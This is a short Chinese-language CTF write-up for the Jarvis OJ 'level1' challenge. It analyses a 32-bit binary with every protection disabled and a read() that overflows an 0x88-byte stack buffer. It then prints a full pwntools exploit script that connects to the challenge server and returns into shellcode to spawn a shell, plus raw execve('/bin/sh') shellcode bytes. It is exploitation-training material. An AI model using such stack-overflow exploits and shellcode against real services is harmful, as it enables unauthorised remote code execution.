liu@liu-F117-F:~/桌面/oj/level1$ checksec level1 [*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level1/level1'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX disabledPIE: No PIE (0x8048000)RWX: Has RWX segments
所有保护全部关闭。是32位的程序
用ida打开
ssize_t vulnerable_function()
{char buf; // [esp+0h] [ebp-88h]printf("What's this:%p?\n", &buf);return read(0, &buf, 0x100u);
}
输入限制为0x100堆栈长度为0x88可以覆盖返回地址,典型的栈溢出模型
没有NX保护,可以直接执行shellcode
用pwntools提供的函数直接生成
asm(shellcraft.sh())。还有一点是这里用的是%p输出的,我们接收到的stack_addr是一个字符串,我们需要转化成10整形才能用p32来打包。
int(“str”,16)把字符串当成16进制数转化为整形。
粘出exp
from pwn import *context(arch='i386',os='linux')
#p=process("./level1")
p=remote("pwn2.jarvisoj.com",9877)p.recvuntil("this:")
stack_addr=int(p.recv(10),16)
p.recvline()
print hex(stack_addr)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()
导入shellcode 需要:没有NX保护,需要获取到栈的起始地址。
粘出一段linux 32为系统下的system(“//bin/sh”)的生成的shellcode
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"